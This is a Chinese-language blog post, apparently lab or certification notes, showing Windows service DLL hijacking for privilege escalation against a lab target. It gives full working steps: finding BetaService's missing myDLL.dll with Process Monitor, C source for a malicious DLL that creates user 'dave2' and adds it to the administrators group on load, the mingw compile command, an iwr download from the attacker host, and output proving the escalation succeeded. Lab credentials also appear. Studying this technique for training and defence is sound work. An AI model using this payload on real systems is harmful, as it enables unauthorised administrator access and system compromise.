Windows 服務 DLL 劫持

 Windows 服務 DLL 劫持


前一篇中替換服務的二進位檔案是嘗試在 Windows 系統上進行權限提升的非常有效的方法

但往往不是這麼順利,因為權限的問題,所以進一步可以透過引用的 dll 檔案來做為另外一種選擇,這個往往是比較容易的方式,因為如果每個誠史都要自己編譯與準備相關的函式庫,那整個檔案與系統將會過大,所以幾乎都是調用內建的 dll 函式庫,上一篇覆蓋的是執行的 *.exe 檔案,這一篇大同小異,只是替換的檔案改成調用的 dll 函式庫

目前 Windows 版本上的標準 DLL 搜尋順序如下

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

所以一般利用的方式是可以嘗試將惡意 DLL(帶有丟失 DLL 的名稱)放置在 DLL 搜尋順序的路徑中,以便它在二進位執行檔啟動時執行。


靶機 : 192.168.227.220,已知使用者帳號密碼 steve / securityIsNotAnOption++++++

第一步 RDP 進去└─$ xfreerdp -v:192.168.227.220 -u:steve -p:securityIsNotAnOption++++++

一樣先列舉服務 Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
本次要利用的是 BetaService




一樣看一下該服務相關使用者權限,icacls .\Documents\BetaServ.exe,只有 (RX)

所以無法像前一篇一樣替換服務執行檔




我們的目標是識別 BetaService載入的所有 DLL並偵測遺失的 DLL。一旦我們獲得了服務二進位檔案使用的 DLL 列表,我們就可以檢查它們的權限以及它們是否可以被惡意 DLL 取代。或者,如果發現缺少 DLL,我們可以嘗試按照 DLL 搜尋順序提供我們自己的 DLL。

標準是把檔案 COPY 到另一台電腦然後啟動 Process Monitor 來監控他執行的 dll 檔案

這裡我們僅有一台機器所以直接調用另一個帳號 backupadmin / admin123admin123! 來啟用

啟動後 filter 該服務,不然資訊量會過多




重新啟動服務發現 myDLL.dll 找不到







編譯自己的 dll 檔案如下,一樣新增使用者再塞入管理者群組

=====================================================================

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

=====================================================================



記得一樣要編譯後才有辦法使用

x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

執行遇到問題可能是沒有安裝 gcc or g++,使用 sudo apt-get install gcc/g++ 安裝

或是 gcc 跟 g++ 版本不一致,可以用 gcc -v & g++ -v 確認一下

還是不行那就應該是 mingw32 的問題可以執行 sudo apt install mingw-w64 更新一下

因為有可能後面的套件影響到原有的套件,重新安裝一般都可以解決

一樣透過 iwr 傳送檔案過去,傳過去前記得先切換到使用者的 Documents 路徑

這是因為 dll 查找順序是在使用者的 directory 中,表示 Documents

iwr -uri http://192.168.45.228/myDLL.dll -Outfile myDLL.dll

並確認當前沒有 dave2 使用者

PS C:\Users\steve> cd Documents

PS C:\Users\steve\Documents> iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll

PS C:\Users\steve\Documents> net user
User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
daveadmin                DefaultAccount           Guest
offsec                   steve                    WDAGUtilityAccount
The command completed successfully.



重啟服務,再次查看使用者與管理者群組

PS C:\Users\steve\Documents> Restart-Service BetaService
WARNING: Waiting for service 'BetaService (BetaService)' to start...
WARNING: Waiting for service 'BetaService (BetaService)' to start...

PS C:\Users\steve\Documents> net user
User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    offsec                   steve
WDAGUtilityAccount
The command completed successfully.

PS C:\Users\steve\Documents> net localgroup administrators
...
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

濫用 Windows 庫文件(Library File)

Challenge 0 - Secura(1)